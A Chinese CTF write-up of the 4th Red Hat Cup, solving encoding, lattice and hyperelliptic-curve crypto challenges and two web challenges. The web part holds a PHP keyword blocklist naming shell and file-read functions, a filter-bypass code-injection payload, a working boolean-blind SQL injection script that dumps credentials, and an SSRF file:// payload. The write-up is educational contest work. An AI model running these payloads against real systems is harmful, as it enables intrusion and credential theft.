第四届红帽杯网络安全大赛

这一届的misc+crypto也太少了,一二血同队+垂直上分明显。


Misc

签到

下载附件EBCDIC.txt,根据文件名和内容,猜测为某种编码方式,搜索知为EBCDIC编码:

EBCDIC(广义二进制编码的十进制交换码,Extended Binary Coded Decimal Interchange Code),是字母或数字字符的二进制编码,是IBM为它的更大型的操作系统而开发的。它是为IBM的S/390上的IBMOS/390操作系统上使用的文本文件的编码,并且数千个公司为它们的遗留应用程序和数据库使用这种编码。在一个EBCDIC的文件里,每个字母或数字字符都被表示为一个8位的二进制数(一个0、1字符串)。256个可能的字符被定义(字母,数字和一些特殊字符)。
IBM的个人计算机和工作站操作系统不使用它们所有的EBCDIC编码。相反的,它们使用文本的工业标准编码,ASCII码。转化程序允许不同的操作系统从一种编码到另一种编码的转化。

找到在线解码网站,将16进制EBCDIC码解码为16进制ASCII码,再转为字符得到flag。

image-20210509182835650

flag值:flag{we1c0me_t0_redhat2021}

Crypto

primegame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3

from decimal import *
import math
import random
import struct
from flag import flag

assert (len(flag) == 48)
msg1 = flag[:24]
msg2 = flag[24:]
primes = [2]
for i in range(3, 90):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)

getcontext().prec = 100
keys = []
for i in range(len(msg1)):
keys.append(Decimal(primes[i]).ln())

sum_ = Decimal(0.0)
for i, c in enumerate(msg1):
sum_ += c * Decimal(keys[i])

ct = math.floor(sum_ * 2 ** 256)
print(ct)

sum_ = Decimal(0.0)
for i, c in enumerate(msg2):
sum_ += c * Decimal(keys[i])

ct = math.floor(sum_ * 2 ** 256)
print(ct)

597952043660446249020184773232983974017780255881942379044454676980646417087515453
425985475047781336789963300910446852783032712598571885345660550546372063410589918

代码逻辑:

将48长度的flag分为24长度两部分,生成90以内的素数列表primes和前24个素数自然对数列表keys,分别求出flag两部分的ascii值与key值乘积和。

容易看出

$S=\text{ct} \cdot 2^{256}=\sum\limits_{i=1}^{24}\Big(c_i \cdot (\text{key}_i \cdot 2^{256})\Big)=\sum\limits_{i=1}^{24}(c_i \cdot k_i)$

形式类似于0-1背包加密问题,其中公钥 $k_i$ 与密文 $S$ 已知,需解密得明文 $c_i \in [0,128)$。

由于明文数量不大,且背包密度 $d = \cfrac{n}{\log_2(\text{max}(k_i))} \approx 0.0968$,可采用低密度攻击方法(Lagarias&Odlyzko算法 或 CJLOSS算法)恢复明文,构造格:

$\left(\begin {array}{c} b_0 \newline b_1 \newline \vdots \newline b_n \newline b_{n+1} \end{array} \right) =\left(\begin {array}{c} 1 & 0 & \cdots & 0 & Nk_0 \newline 0 & 1 & \cdots & 0 & Nk_1 \newline \vdots & \vdots & \ddots & \vdots & \vdots \newline 0 & 0 & \cdots & 1 & Nk_n \newline 0 & 0 & \cdots & 0 & Nk_{n+1} \end{array} \right) $

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from itertools import combinations
from decimal import Decimal, getcontext
import random
import struct

primes = [2]
for i in range(3, 100):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)

getcontext().prec = int(100)
keys = []
for i in range(len(primes)):
keys.append(int(Decimal(int(primes[i])).ln() * (2 ** 256)))

n = len(keys)
d = n / log(max(keys), 2)
assert CDF(d) < 0.9408

M = Matrix.identity(n)

last_row = [0 for x in keys]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)

ct = '597952043660446249020184773232983974017780255881942379044454676980646417087515453'
# ct = '425985475047781336789963300910446852783032712598571885345660550546372063410589918'
last_col = keys[:]
last_col.append(ct)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)

M = M.stack(M_last_row)
M = M.augment(M_last_col)

X = M.LLL()
target = X[0][:-1]
flag = [-k for k in target]
print(bytes(flag).strip(b'\x00'))

#结果
#b'flag{715c39c3-1b46-4c23-'
#b'8006-27b43eba2446}'

flag值:flag{715c39c3-1b46-4c23-8006-27b43eba2446}

hpcurve

你的数学学的怎么样?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env sage
import struct
from random import SystemRandom

p = 10000000000000001119
R.<x> = GF(p)[]
y=x
f = y + y^7
C = HyperellipticCurve(f, 0)
J = C.jacobian()

es = [SystemRandom().randrange(p**3) for _ in range(3)]
Ds = [J(C(x, min(f(x).sqrt(0,1)))) for x in (11,22,33)]
q = []

def clk():
global Ds,es
Ds = [e*D for e,D in zip(es, Ds)]
return Ds

def generate():

u,v = sum(clk())
rs = [u[i] for i in range(3)] + [v[i] for i in range(3)]
assert 0 not in rs and 1 not in rs
q = struct.pack('<'+'Q'*len(rs), *rs)
return q


flag = "flag{xxxxxxx}"
text = 'a'*20+flag
t = ''
keys = generate()
leng = len(keys)
i = 0
for x in text:
t += chr(ord(keys[i%leng])^^ord(x))
i+=1
print t.encode('hex')

66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5

代码逻辑:

密文为flag与超椭圆曲线 $y^2=x+x^7$ 随机生成值异或得到,由于部分明文已知,通过随机生成器(RNG)部分的代码恢复剩余字符。

对于域 $K$,亏格为 $g$ 超椭圆曲线基本形式是 $C:y^2+h(x)y=f(x)$,其中 $h(x),f(x) \in K[x]$(多项式系数都在 $K$ 上),且 $\deg(h(x)) \leq g$,$\deg(f(x))=2g+1$。

超椭圆曲线密码体制是建立在超椭圆曲线的Jacobian群上的,有限域上超椭圆曲线的Jacobian群是一个有限交换群,Jacobian阶记为 $J(C)$。可以在 $J(C)$中定义归约除子的一个加法运算 。使得 $J(C)$成为一个交换群,这个有限交换群是超椭圆曲线密码体制的基础。

每个元素 $D \in J(C)$ 都可以唯一表示为 $K[x]$ 上的一个多项式元组 $\langle u(x),v(x) \rangle$,多项式满足:

  • $u(x)$ 是首一多项式
  • $u(x)$ 整除 $f(x)-h(x)v(x)-v^2(x)$
  • $\deg(v(x)) \lt \deg(u(x)) \lt g$

这里 $h(x)=0,f(x)=x+x^7$,RNG部分生成三个随机数 $e_1,e_2,e_3$ 以及三个元素 $D_1,D_2,D_3 \in J(C)$,

RNG部分计算 $\langle u(x),v(x) \rangle=e_1D_1+e_2D_2+e_3D_3$ 并将系数转换为字节。

结合已知的a*20+flag共24字节,可以恢复 $u(x)$。

对于 $v(x)$,根据 $D \in J(C)$ 的性质,有 $f(x)-h(x)v(x)-v^2(x) \equiv 0 \pmod {u(x)}$

如果 $x_i$ 是 $u(x)$ 的根($K$ 代数闭包下),有 $f(x_i)-h(x_i)v(x_i)-v^2(x_i) = 0 \Longrightarrow v^2(x_i)+h(x_i)v(x_i)=f(x_i)$,

说明 $(x_i,v(x_i))$ 是 $C$ 上的一个点。

又 $h(x_i)=0$,则 $v^2(x_i)=f(x_i) \Longrightarrow v(x_i) = \pm \sqrt{f(x_i)}$。

由于 $u(x)$ 次数为3,在$K$ 代数闭包下,可以找到三个根 $x_1,x_2,x_3$,即 $C$ 上的三个点 $(x_1,v(x_1)),(x_2,v(x_2)),(x_3,v(x_3))$,利用拉格朗日插值方法可以恢复 $v(x)$。

得到 $u(x)$ 和 $v(x)$,异或操作还原明文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import struct
from itertools import product, cycle

p = 10000000000000001119
K = GF(p)
R.<x> = K[]
y = x
f = y + y^7
C = HyperellipticCurve(f, 0)
J = C.jacobian()

def get_u_from_out(output, known_input):
res = []
for i in range(24):
res.append(output[i]^^known_input[i])
res = bytes(res)
u0, u1, u2 = struct.unpack("<QQQ", res)
u = x^3+x^2*u2+x*u1+u0
return u

def get_v_from_u(u):
Kbar = GF(p^6)
Rbar.<t> = Kbar["t"]
u2 = u.change_ring(Rbar)
roots = [x[0] for x in u2.roots()]
ys = []
for root in roots:
ys.append(f(root).sqrt(0,1))
res = []
for perm in product(range(2), repeat=3):
poly = Rbar.lagrange_polynomial([(roots[i], ys[i][perm[i]]) for i in range(3)])
if poly[0] in K:
res.append(R(poly))
return res

def try_decode(output, u, v):
rs = [u[0], u[1], u[2], v[0], v[1], v[2]]
otp = struct.pack("<QQQQQQ", *rs)
decrypted = [a^^b for (a, b) in zip(output, cycle(otp)) ]
return bytes(decrypted)

output = bytes.fromhex('66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5')
known_input = b'a' * 20 + b'flag'
u = get_u_from_out(output, known_input)
vs = get_v_from_u(u)
for v in vs:
#print((u,v))
print(try_decode(output,u,v))

#结果
#b'aaaaaaaaaaaaaaaaaaaaflag{1b82f60a-43ab-4f18-8ccc-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag|\xb1J\xedFp^v2\xb9\x10\x16\xf6\xfddD(h7\xb6\xc3S\xe0\xcf-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag\xe3J\xad\x88\xb2\xac\xf8\x1c-C\x07\x97\x02/B47l\xd0\xf30\x8f&\xbf-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag\xe4\xca\xf5\xbd\xc6\xa6\x00B\xfe\xde\xe3z\x9a\xbe\x95D\xf9\xc2\xafD\xda\xff\xa3\xeb-97d120aae6fc}'

flag值:flag{1b82f60a-43ab-4f18-8ccc-97d120aae6fc}

Web

find_it

主页面没什么有用信息,扫描发现robots.txt,访问提示:

1
2
3
When I was a child,I also like to read Robots.txt

Here is what you want:1ndexx.php

访问1ndexx.php报500 Internal Server Error,尝试看是否存在vim源码泄露,发现访问.1ndexx.php.swp能回显源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}

#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

代码逻辑:

flag.php文件内容读入变量$I_know_you_wanna_but_i_will_not_give_you_hhh,并将传入的code参数值与变量$I_know_you_wanna_but_i_will_not_give_you_hhh一起写入hack.php文件中。

code参数值过滤的关键字不少:

system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|~|^|`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump

用命令执行、文件读写等多种方式尝试向hack.php写入php代码,以显示flag.php文件内容,发现show_source()函数可行。

payload: ?code=<?=show_source("fla"."g.php");

最后访问hack.php,得到flag.php内容:

1
2
3
4
5
6
7
8
9
<?php 

#ini_set('display_errors',true);
#error_reporting(E_ALL ^ E_NOTICE);

flag=MZWGCZ33HA3GIOJWHA2DGLJYGNTDCLJUGE3DSLJZMQZDILJZGY3TIZRTHE3GMMJQGN6Q====;

echo "What is important for a new bird of php??"
?>

Base32解码得flag。

flag值:flag{86d96843-83f1-4169-9d24-9674f396f103}

WebsiteManager

最新的网站测试器,作为非站长的你,能利用好它的功能吗?

查看网页源码发现image.php?id=1,猜测存在sql注入,手工测试发现过滤了空格和双引号,且测试?id=-2/**/or/**/1=1有图片显示,?id=-2/**/or/**/1=2无图片显示,验证存在注入点,采用布尔盲注跑出登录用户名和密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

url = "http://eci-2zefme7yqvztnp4652um.cloudeci1.ichunqiu.com/image.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(database())),{i},1))>{mid},1,0)'
# payload = f'''if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid},1,0)'''
# payload = f'''if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{i},1))>{mid},1,0)%23'''
payload = f'''if(ascii(substr((select(group_concat(username,password))from(ctf.users)),{i},1))>{mid},1,0)%23'''
data = {
'id': f"-2/**/or/**/{payload}"
}
r = requests.get(url,params=data)
if "HRN" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

#结果
#库名: ctf
#表名: images,users
#users表中列名: username,password
#users表中值: admin,9ebab83595888e5a8bd57

admin9ebab83595888e5a8bd57直接登录,结合curl.php猜测是SSRF,填入http://127.0.0.1/得到访问结果回显验证猜测,尝试改用file伪协议直接读取根目录flag文件得到flag。

image-20210509192000500

payload: file://127.0.0.1/flagfile:///flag

flag值:flag{f0d06b4c-954e-4a76-ad5d-95bd0227daea}